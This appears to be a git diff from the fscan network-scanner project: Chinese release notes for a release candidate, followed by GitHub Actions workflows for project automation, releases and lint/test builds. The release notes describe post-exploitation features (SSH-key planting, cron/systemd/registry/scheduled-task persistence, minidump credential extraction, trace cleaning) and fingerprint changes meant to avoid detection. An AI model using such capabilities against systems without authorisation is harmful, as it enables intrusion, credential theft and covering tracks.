||||
|
||||
### 🚀 大规模扫描支持
|
||||
|
||||
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
|
||||
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
|
||||
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
|
||||
|
||||
### 🔌 新增协议插件(+9)
|
||||
|
||||
| 插件 | 用途 |
|
||||
|------|------|
|
||||
| IMAP / POP3 | 邮件服务器检测 |
|
||||
| JDWP | Java Debug 端口检测 |
|
||||
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||
| IPMI | 服务器带外管理 |
|
||||
| SNMP (UDP) | 网络设备管理 |
|
||||
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
|
||||
|
||||
全部为**原生协议实现**,零外部依赖。
|
||||
|
||||
### ⚡ 性能与体积优化
|
||||
|
||||
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
|
||||
- 热路径零分配、自适应连接池 CAS 无锁化
|
||||
- Scanner 客户端指纹收敛(降低被检测概率)
|
||||
|
||||
### 🌐 网络能力增强
|
||||
|
||||
- **SOCKS5 代理认证**支持(用户名/密码)
|
||||
- **国密 TLS**(SM2/SM3/SM4)网站扫描
|
||||
- 支持 `-add-password` 追加多个自定义密码
|
||||
|
||||
### 🔧 本地后渗透插件
|
||||
|
||||
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask)
|
||||
- minidump 降级链凭据提取 + 杀软前置检测
|
||||
- cleaner 清理所有持久化痕迹
|
||||
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo)
|
||||
|
||||
### 📦 工程改进
|
||||
|
||||
- 目录重命名:`WebScan/` → `webscan/`、`mylib/` → `libs/`
|
||||
- i18n 覆盖扩展(中/英双语)
|
||||
- 全量 lint/errcheck 修复
|
||||
- 补充大量单元测试
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ 已知问题 / 注意事项
|
||||
|
||||
| 问题 | 说明 |
|
||||
|------|------|
|
||||
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
|
||||
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
|
||||
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
|
||||
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
|
||||
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
|
||||
|
||||
---
|
||||
|
||||
## 反馈与贡献
|
||||
|
||||
这是一个 RC 版本,我们非常需要你的反馈:
|
||||
|
||||
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||
|
||||
---
|
||||
|
||||
## 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
|
||||
|
||||
## 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64 (Intel), arm64 (Apple Silicon) |
|
||||
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||
| Solaris | X64n |
|
||||
@@ -0,0 +1,81 @@
|
||||
name: Project 自动化
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [opened, closed, reopened]
|
||||
|
||||
env:
|
||||
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
|
||||
|
||||
jobs:
|
||||
# Issue/PR 创建时添加到 Project,状态设为"要搞"
|
||||
add-to-project:
|
||||
if: github.event.action == 'opened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Add to project
|
||||
uses: actions/[email protected]
|
||||
id: add
|
||||
with:
|
||||
project-url: ${{ env.PROJECT_URL }}
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set status to 要搞
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.add.outputs.itemId }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id f75ad846
|
||||
|
||||
# Issue/PR 关闭时状态设为"搞定"
|
||||
close-item:
|
||||
if: github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 搞定
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 98236657
|
||||
|
||||
# Issue/PR 重新打开时状态设为"在搞"
|
||||
reopen-item:
|
||||
if: github.event.action == 'reopened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 在搞
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 47fc9ee4
|
||||
+40
-265
@@ -1,4 +1,4 @@
|
||||
name: 发布构建
|
||||
name: 发布
|
||||
|
||||
on:
|
||||
push:
|
||||
@@ -6,292 +6,67 @@ on:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
tag:
|
||||
description: '发布标签'
|
||||
required: true
|
||||
default: 'v1.0.0'
|
||||
draft:
|
||||
description: '创建草稿发布'
|
||||
snapshot:
|
||||
description: '仅测试构建(不发布)'
|
||||
type: boolean
|
||||
default: false
|
||||
prerelease:
|
||||
description: '标记为预发布'
|
||||
draft:
|
||||
description: '创建草稿发布'
|
||||
type: boolean
|
||||
default: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
issues: write
|
||||
pull-requests: write
|
||||
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
jobs:
|
||||
goreleaser:
|
||||
name: 构建和发布
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 60
|
||||
|
||||
# 设置作业级别的环境变量
|
||||
env:
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
- name: 📥 检出代码
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: 🔍 获取项目信息
|
||||
id: project
|
||||
- name: 准备 Release Notes
|
||||
if: ${{ !inputs.snapshot }}
|
||||
run: |
|
||||
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
|
||||
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
|
||||
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
|
||||
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
|
||||
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
|
||||
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
NOTES_FILE=".github/release-notes/${TAG}.md"
|
||||
|
||||
- name: 🐹 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
if [ -f "$NOTES_FILE" ]; then
|
||||
echo "📝 找到版本 Release Notes: $NOTES_FILE"
|
||||
cp "$NOTES_FILE" /tmp/release-notes.md
|
||||
else
|
||||
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
|
||||
echo "" > /tmp/release-notes.md
|
||||
fi
|
||||
|
||||
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
|
||||
|
||||
- name: 构建和发布
|
||||
uses: ./.github/actions/build-release
|
||||
with:
|
||||
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
|
||||
go-version: '1.20'
|
||||
cache: true
|
||||
retention-days: '90'
|
||||
release-args: ${{ inputs.draft && '--draft' || '' }}
|
||||
|
||||
- name: 📦 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 🗜️ 安装 UPX 压缩工具
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
- name: ℹ️ 显示构建环境信息
|
||||
run: |
|
||||
echo "Go 版本: $(go version)"
|
||||
echo "UPX 版本: $(upx --version)"
|
||||
echo "Git 标签: ${{ steps.project.outputs.version }}"
|
||||
echo "提交: ${{ steps.project.outputs.short_sha }}"
|
||||
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
|
||||
echo "构建时间: ${{ steps.project.outputs.build_date }}"
|
||||
echo "环境变量:"
|
||||
echo "- GITHUB_OWNER: $GITHUB_OWNER"
|
||||
echo "- GITHUB_REPO: $GITHUB_REPO"
|
||||
echo "- PROJECT_NAME: $PROJECT_NAME"
|
||||
|
||||
- name: 📊 记录构建开始时间
|
||||
id: build_start
|
||||
run: |
|
||||
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 🚀 构建和发布
|
||||
id: build_step
|
||||
uses: goreleaser/goreleaser-action@v5
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: release --clean -f .github/conf/.goreleaser.yml ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }}
|
||||
workdir: .
|
||||
- name: 更新 Release Notes
|
||||
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
continue-on-error: true
|
||||
|
||||
- name: 📊 记录构建结束时间
|
||||
id: build_end
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
start_time=${{ steps.build_start.outputs.start_time }}
|
||||
end_time=$(date +%s)
|
||||
duration=$((end_time - start_time))
|
||||
echo "duration=${duration}" >> $GITHUB_OUTPUT
|
||||
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
NOTES_FILE="${RELEASE_NOTES_FILE}"
|
||||
|
||||
- name: 📋 上传构建产物
|
||||
uses: actions/upload-artifact@v4
|
||||
if: always()
|
||||
with:
|
||||
name: 构建产物-${{ steps.project.outputs.version }}
|
||||
path: |
|
||||
dist/
|
||||
retention-days: 30
|
||||
continue-on-error: true
|
||||
|
||||
- name: 📊 统计构建产物
|
||||
id: build_stats
|
||||
run: |
|
||||
if [ -d "dist" ]; then
|
||||
total_files=$(find dist/ -type f | wc -l)
|
||||
executable_files=$(find dist/ -type f -executable | wc -l)
|
||||
config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
|
||||
|
||||
# 平台统计
|
||||
linux_count=$(find dist/ -name "*linux*" -type f | wc -l)
|
||||
darwin_count=$(find dist/ -name "*darwin*" -type f | wc -l)
|
||||
windows_count=$(find dist/ -name "*windows*" -type f | wc -l)
|
||||
|
||||
echo "total_files=$total_files" >> $GITHUB_OUTPUT
|
||||
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
|
||||
echo "config_files=$config_files" >> $GITHUB_OUTPUT
|
||||
echo "linux_count=$linux_count" >> $GITHUB_OUTPUT
|
||||
echo "darwin_count=$darwin_count" >> $GITHUB_OUTPUT
|
||||
echo "windows_count=$windows_count" >> $GITHUB_OUTPUT
|
||||
else
|
||||
echo "total_files=0" >> $GITHUB_OUTPUT
|
||||
echo "executable_files=0" >> $GITHUB_OUTPUT
|
||||
echo "config_files=0" >> $GITHUB_OUTPUT
|
||||
echo "linux_count=0" >> $GITHUB_OUTPUT
|
||||
echo "darwin_count=0" >> $GITHUB_OUTPUT
|
||||
echo "windows_count=0" >> $GITHUB_OUTPUT
|
||||
if [ -s "$NOTES_FILE" ]; then
|
||||
echo "📝 更新 Release Notes..."
|
||||
# 用版本特定的 notes 替换 goreleaser 生成的 body
|
||||
gh release edit "$TAG" --notes-file "$NOTES_FILE"
|
||||
echo "✅ Release Notes 已更新"
|
||||
fi
|
||||
|
||||
- name: 📊 生成发布报告
|
||||
if: always()
|
||||
run: |
|
||||
# 构建状态判断
|
||||
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||
build_status=""
|
||||
release_status=""
|
||||
else
|
||||
build_status=""
|
||||
release_status=""
|
||||
fi
|
||||
|
||||
echo "# 🎉 发布构建报告" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "$build_status $release_status" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 基本信息
|
||||
echo "## 📋 发布基本信息" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🏷️ **版本** | \`${{ steps.project.outputs.version }}\` |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 构建环境信息
|
||||
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 构建时间统计
|
||||
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 构建结果
|
||||
echo "## 🚀 构建结果" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 构建阶段 | 状态 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||
echo "| 🏗️ **构建发布** | ✅ 成功 |" >> $GITHUB_STEP_SUMMARY
|
||||
else
|
||||
echo "| 🏗️ **构建发布** | ❌ 失败 |" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 发布产物统计
|
||||
if [ -d "dist" ]; then
|
||||
echo "## 📦 发布产物统计" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 文件类型统计
|
||||
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 平台分布统计
|
||||
echo "### 🌍 平台分布统计" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 平台 | 数量 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🐧 **Linux** | ${{ steps.build_stats.outputs.linux_count }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🍎 **macOS** | ${{ steps.build_stats.outputs.darwin_count }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🪟 **Windows** | ${{ steps.build_stats.outputs.windows_count }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 总产物大小
|
||||
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
|
||||
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
# 发布总结
|
||||
echo "## 📈 发布总结" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
|
||||
echo "🎉 **发布状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
|
||||
echo "🔗 **发布链接**: https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }}" >> $GITHUB_STEP_SUMMARY
|
||||
else
|
||||
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
|
||||
echo "🎉 **发布状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
|
||||
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
|
||||
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 快速链接
|
||||
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 🎯 [查看发布页面](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
echo "---" >> $GITHUB_STEP_SUMMARY
|
||||
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
- name: 📬 发送通知
|
||||
if: always()
|
||||
run: |
|
||||
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||
echo "✅ 发布成功!版本 ${{ steps.project.outputs.version }} 已发布"
|
||||
# 这里可以添加发送成功通知的逻辑(如 Slack、邮件等)
|
||||
else
|
||||
echo "❌ 发布失败!请检查构建日志"
|
||||
# 这里可以添加发送失败通知的逻辑
|
||||
fi
|
||||
+145
-182
@@ -3,227 +3,190 @@ name: 测试构建
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- dev
|
||||
- dev-*
|
||||
- develop
|
||||
- feature/*
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
- dev
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
branch:
|
||||
description: '测试分支'
|
||||
required: false
|
||||
default: 'dev'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
test-build:
|
||||
name: 测试构建
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
# 设置作业级别的环境变量
|
||||
env:
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
jobs:
|
||||
lint:
|
||||
name: 代码检查
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
|
||||
steps:
|
||||
- name: 📥 检出代码
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
ref: ${{ github.event.inputs.branch || github.ref }}
|
||||
go-version: '1.23'
|
||||
cache: true
|
||||
|
||||
- name: 🔍 获取项目信息
|
||||
id: project
|
||||
- name: 运行 golangci-lint
|
||||
run: |
|
||||
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
|
||||
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
|
||||
echo "branch=${GITHUB_REF#refs/heads/}" >> $GITHUB_OUTPUT
|
||||
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
|
||||
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
|
||||
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
|
||||
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
|
||||
|
||||
- name: 🐹 设置 Go 环境
|
||||
# 运行检查
|
||||
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
|
||||
cat lint_output.txt
|
||||
|
||||
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI)
|
||||
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
|
||||
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
|
||||
if [ -n "$CRITICAL" ]; then
|
||||
echo "❌ Linting failed with critical issues:"
|
||||
echo "$CRITICAL" | head -20
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Lint 检查通过"
|
||||
|
||||
- name: 检查代码复杂度(质量门禁)
|
||||
run: |
|
||||
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 检查认知复杂度>80的函数
|
||||
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
|
||||
|
||||
if [ -n "$COMPLEX_FUNCS" ]; then
|
||||
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
|
||||
|
||||
if [ "$HIGH_COMPLEX" -gt 0 ]; then
|
||||
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
|
||||
